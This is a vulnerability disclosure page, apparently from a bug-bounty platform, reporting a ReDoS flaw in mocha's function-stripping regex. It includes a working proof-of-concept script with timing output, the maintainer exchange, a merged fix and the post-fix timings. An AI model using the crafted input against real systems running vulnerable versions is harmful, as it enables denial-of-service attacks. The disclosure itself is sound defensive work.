Inefficient Regular Expression Complexity in mochajs/mocha

Valid

Reported on

Sep 18th 2021


Description

I would like to report a Regular Expression Denial of Service (ReDoS) vulnerability in mocha.

It allows cause a denial of service when stripping crafted invalid function definition from strs.

The ReDoS vulnerability is mainly due to the regex /^function(?:\s*|\s+[^(]*)\([^)]*\)\s*\{((?:.|\n)*?)\s*\}$|^\([^)]*\)\s*=>\s*(?:\{((?:.|\n)*?)\s*\}|((?:.|\n)*))$/ and can be exploited with the following code.

Proof of Concept

// PoC.js
var mocha = require("mocha")

for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = 'function' + ' '.repeat(i*10000);
    mocha.utils.clean(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

The Output

"attack_str.length: 10008: 174 ms"
"attack_str.length: 20008: 520 ms"
"attack_str.length: 30008: 1171 ms"
"attack_str.length: 40008: 2103 ms"
"attack_str.length: 50008: 3243 ms"
"attack_str.length: 60008: 4785 ms"

Occurrences

We created a GitHub Issue asking the maintainers to create a SECURITY.md a year ago
Yeting Li modified the report
a year ago
We have contacted a member of the mochajs/mocha team and are waiting to hear back a year ago
mochajs/mocha maintainer
a year ago

Maintainer


Please send a PR to fix the regular expression

Yeting Li submitted a
a year ago
Yeting Li
a year ago

Researcher


Hi, I have submitted a PR, please see this link https://github.com/mochajs/mocha/pull/4770

Yeting Li
a year ago

Researcher


Run result after repair

attack_str.length: 10008: 2 ms
attack_str.length: 20008: 1 ms
attack_str.length: 30008: 0 ms
attack_str.length: 40008: 0 ms
attack_str.length: 50008: 1 ms
attack_str.length: 60008: 1 ms
attack_str.length: 70008: 1 ms
attack_str.length: 80008: 2 ms
attack_str.length: 90008: 1 ms
attack_str.length: 100008: 3 ms
attack_str.length: 110008: 2 ms
attack_str.length: 120008: 2 ms
attack_str.length: 130008: 1 ms
attack_str.length: 140008: 3 ms
attack_str.length: 150008: 2 ms
attack_str.length: 160008: 3 ms
attack_str.length: 170008: 2 ms
attack_str.length: 180008: 3 ms
attack_str.length: 190008: 3 ms
attack_str.length: 200008: 3 ms
attack_str.length: 210008: 6 ms
attack_str.length: 220008: 3 ms
attack_str.length: 230008: 4 ms
attack_str.length: 240008: 3 ms
attack_str.length: 250008: 6 ms
attack_str.length: 260008: 4 ms
attack_str.length: 270008: 5 ms
attack_str.length: 280008: 4 ms
attack_str.length: 290008: 5 ms
attack_str.length: 300008: 5 ms
attack_str.length: 310008: 4 ms
attack_str.length: 320008: 6 ms
attack_str.length: 330008: 5 ms
attack_str.length: 340008: 6 ms
attack_str.length: 350008: 6 ms
attack_str.length: 360008: 5 ms
attack_str.length: 370008: 6 ms
attack_str.length: 380008: 7 ms
attack_str.length: 390008: 7 ms
attack_str.length: 400008: 6 ms
attack_str.length: 410008: 6 ms
attack_str.length: 420008: 10 ms
attack_str.length: 430008: 7 ms
attack_str.length: 440008: 9 ms
attack_str.length: 450008: 10 ms
attack_str.length: 460008: 10 ms
attack_str.length: 470008: 9 ms
attack_str.length: 480008: 8 ms
attack_str.length: 490008: 7 ms
attack_str.length: 500008: 8 ms
attack_str.length: 510008: 9 ms
attack_str.length: 520008: 9 ms
attack_str.length: 530008: 10 ms
attack_str.length: 540008: 8 ms
attack_str.length: 550008: 9 ms
attack_str.length: 560008: 9 ms
attack_str.length: 570008: 13 ms
attack_str.length: 580008: 15 ms
attack_str.length: 590008: 16 ms
attack_str.length: 600008: 9 ms
attack_str.length: 610008: 9 ms
attack_str.length: 620008: 12 ms
attack_str.length: 630008: 14 ms
attack_str.length: 640008: 10 ms
attack_str.length: 650008: 10 ms
attack_str.length: 660008: 10 ms
attack_str.length: 670008: 10 ms
attack_str.length: 680008: 14 ms
attack_str.length: 690008: 11 ms
attack_str.length: 700008: 10 ms
attack_str.length: 710008: 14 ms
attack_str.length: 720008: 11 ms
attack_str.length: 730008: 13 ms
attack_str.length: 740008: 11 ms
attack_str.length: 750008: 16 ms
attack_str.length: 760008: 13 ms
attack_str.length: 770008: 12 ms
attack_str.length: 780008: 14 ms
attack_str.length: 790008: 12 ms
attack_str.length: 800008: 12 ms
attack_str.length: 810008: 12 ms
attack_str.length: 820008: 12 ms
attack_str.length: 830008: 14 ms
attack_str.length: 840008: 13 ms
attack_str.length: 850008: 13 ms
attack_str.length: 860008: 13 ms
attack_str.length: 870008: 14 ms
attack_str.length: 880008: 13 ms
attack_str.length: 890008: 13 ms
attack_str.length: 900008: 16 ms
attack_str.length: 910008: 13 ms
attack_str.length: 920008: 14 ms
attack_str.length: 930008: 20 ms
attack_str.length: 940008: 14 ms
attack_str.length: 950008: 14 ms
attack_str.length: 960008: 18 ms
attack_str.length: 970008: 13 ms
attack_str.length: 980008: 14 ms
attack_str.length: 990008: 14 ms
attack_str.length: 1000008: 17 ms
attack_str.length: 1010008: 16 ms
attack_str.length: 1020008: 19 ms
attack_str.length: 1030008: 20 ms
attack_str.length: 1040008: 26 ms
attack_str.length: 1050008: 16 ms
attack_str.length: 1060008: 16 ms
attack_str.length: 1070008: 18 ms
attack_str.length: 1080008: 22 ms
attack_str.length: 1090008: 17 ms
attack_str.length: 1100008: 22 ms
attack_str.length: 1110008: 16 ms
attack_str.length: 1120008: 16 ms
attack_str.length: 1130008: 15 ms
attack_str.length: 1140008: 17 ms
attack_str.length: 1150008: 28 ms
attack_str.length: 1160008: 21 ms
attack_str.length: 1170008: 22 ms
attack_str.length: 1180008: 22 ms
attack_str.length: 1190008: 19 ms
attack_str.length: 1200008: 23 ms
attack_str.length: 1210008: 20 ms
attack_str.length: 1220008: 19 ms
attack_str.length: 1230008: 17 ms
attack_str.length: 1240008: 24 ms
attack_str.length: 1250008: 20 ms
attack_str.length: 1260008: 21 ms
attack_str.length: 1270008: 23 ms
attack_str.length: 1280008: 31 ms
attack_str.length: 1290008: 19 ms
attack_str.length: 1300008: 20 ms
attack_str.length: 1310008: 22 ms
attack_str.length: 1320008: 22 ms
attack_str.length: 1330008: 19 ms
attack_str.length: 1340008: 19 ms
attack_str.length: 1350008: 22 ms
attack_str.length: 1360008: 20 ms
attack_str.length: 1370008: 26 ms
attack_str.length: 1380008: 32 ms
attack_str.length: 1390008: 19 ms
attack_str.length: 1400008: 18 ms
attack_str.length: 1410008: 23 ms
attack_str.length: 1420008: 20 ms
attack_str.length: 1430008: 19 ms
attack_str.length: 1440008: 21 ms

We have sent a second follow up to the mochajs/mocha team. We will try again in 10 days. a year ago
We have sent a third and final follow up to the mochajs/mocha team. This report is now considered stale. a year ago
Yeting Li
a year ago

Researcher


any updates?

Outsider validated this vulnerability a month ago
Yeting Li has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Outsider confirmed that a fix has been merged on 61b4b9 a month ago
Yeting Li has been awarded the fix bounty
utils.js#L79 has been validated
to join this conversation